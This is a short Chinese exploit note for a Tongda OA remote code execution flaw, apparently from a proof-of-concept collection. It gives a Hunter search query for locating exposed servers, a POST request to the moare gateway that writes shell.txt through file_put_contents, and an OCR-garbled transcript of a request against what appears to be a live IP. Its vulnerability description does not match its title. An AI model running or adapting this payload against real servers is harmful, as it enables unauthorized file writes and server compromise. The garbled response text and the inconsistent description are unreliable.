# T10-19通达-OA-反序列化RCE

### 漏洞描述:

通达OA存在未授权访问漏洞,该漏洞源于系统对用户传入的数据过滤不严。攻击者可借助特制的HTTP请求利用该漏洞访问敏感文件,造成信息泄露。

#### 网站图片:



### 网络测绘:

### Hunter 语法:

app.name="通达 OA"

## 漏洞复现:

# 当响应码为500表示存在漏洞

payload:

```
POST /general/appbuilder/web/portal/gateway/moare?a=1 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
```

Content-Loge
Content-Type: application/x-www-form-urlencoded

img=file\_put\_contents("../../shell.txt","hello");

```
效果图:
                                                                     / 数据巴归捆 燃加缸 何足
        POST-/general/appbuilder/web/portal/gateway/moare?a=1-HTTP/1.1
Hosti : 1.14.47.145:7777
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: **/*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie:
                                                                                                                                                Server: ngInX
Date: Wed, '27'-Sep'-2023-03:19:57-GMT
URL.htm:///1.14.47.14577
Gentent-Type: text/html; charset=utf-8
genera.

Set-Cookie: PMPSESSID=3alk2356a3lpm0vracc7bv4nh1; path=/
Expires: Thu, '19-Nov'1981'-08:52:00-GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 34
         Cookie: -
_COOKIE=8a987cdbe51b7fe8c0efaf47430b18b96a1477de4a08291eef0f7164bd1b
        11
12 An-internal server error occurred.
         img=file_put_contents("../../shell.txt","hello");
```

### 上传文件位置

/general/shell.txt



hello